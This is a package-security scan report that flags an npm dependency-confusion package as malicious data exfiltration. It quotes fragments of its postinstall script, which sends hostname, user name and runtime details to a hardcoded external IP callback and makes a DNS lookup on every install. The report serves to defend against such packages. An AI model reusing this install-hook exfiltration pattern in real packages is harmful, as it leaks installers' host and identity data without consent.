registry / Data exfiltration / @securihackbot/depconf-flow-1792484611

@securihackbot/depconf-flow-1792484611

Dependency-confusion research PoC (authorized). Non-executing placeholder by default.

This report shows the evidence for @securihackbot/depconf-flow-1792484611@1.2.1, the only known version.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The manifest activates the hook during installation, and the source shows identifying environment data sent to an external package-selected endpoint by default. This is automatic installation-time disclosure without an affirmative consent gate, supporting a block.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package runs its postinstall hook.

Impact

The callback can learn identifying details about the build host and package installation without an affirmative installer consent gate.

Mechanism

The hook collects host and user identifiers and runtime details, encodes them, and sends them in an HTTP or HTTPS request to a package-selected default endpoint; it also performs a nonce-based DNS lookup.

Attack narrative

During package installation, the postinstall hook collects host and user identifiers along with platform and runtime details. It sends the encoded data to a package-selected callback by default and makes a nonce-based DNS query, exposing installation environment information without an affirmative consent gate.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints2

34.143.131.27:18080/test-eng-VA-999/main.abc123.jsYOUR-COLLABORATOR.example

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The package manifest runs postinstall.js automatically during installation.
The install script defines a package-selected callback URL by default.
The script collects the package name, host name, user name, platform, architecture, and runtime version.
The script encodes the collected data into a request parameter and sends an HTTP or HTTPS GET.
The script also performs a DNS lookup using the nonce and configured suffix.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.24 KB of source, external domains: 34.143.131.27, hackbot.securi.web.id

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" }, "files": [ "index.js", "post

High

Suspicious Lifecycle Evidence

The package manifest runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

12const os = require("os"); L13: const http = require("http"); L14: const https = require("https"); L15: const dns = require("dns"); L16: L17: const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/test-eng-VA-999/main.abc123.js"; L18: const NONCE = process.env.DEPCONF_NONCE || "nonce-1792484611"; ... L23: L24: const payload = Buffer.from(JSON.stringify({ L25: nonce: NONCE, L26: pkg: process.env.npm[redacted] || "unknown", L27: host: os.hostname(),

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

postinstall.jsView on unpkg · L12

12Trigger-reachable chain: scripts.postinstall -> postinstall.js L12: const os = require("os"); L13: const http = require("http"); L14: const https = require("https"); L15: const dns = require("dns"); L16: L17: const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/test-eng-VA-999/main.abc123.js"; L18: const NONCE = process.env.DEPCONF_NONCE || "nonce-1792484611"; ... L23: L24: const payload = Buffer.from(JSON.stringify({ L25: nonce: NONCE, L26: pkg: process.env.npm[redacted] || "unknown", L27: host: os.hostname(),

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L12

17const CALLBACK_URL = process.env.DEPCONF_CALLBACK_URL || "http://34.143.131.27:18080/test-eng-VA-999/main.abc123.js"; const NONCE = process.env.DEPCONF_NONCE || "nonce-1792484611"; const DNS

High

Ai Review Evidence

The install script defines a package-selected callback URL by default.

postinstall.jsView on unpkg · L17

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js" }, "files": [ "index.js", "post

High

Suspicious Lifecycle Evidence

The package manifest runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical3 High4 Medium3 Low

CriticalHardcoded Runtime Data Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to @securihackbot/depconf-flow-1792484611@1.2.1.

The versions list below shows the verdict for each recorded version.

Avoid installing @securihackbot/depconf-flow-1792484611@1.2.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-20 08:25:25.316Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.2.1latestshownMaliciousData ExfiltrationBlockPublishedOct 20, 2026, 8:24 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @securihackbot

Other data exfiltration packages

Behavioral surface

Related packages

More from @securihackbot

Other data exfiltration packages

Source & flagged code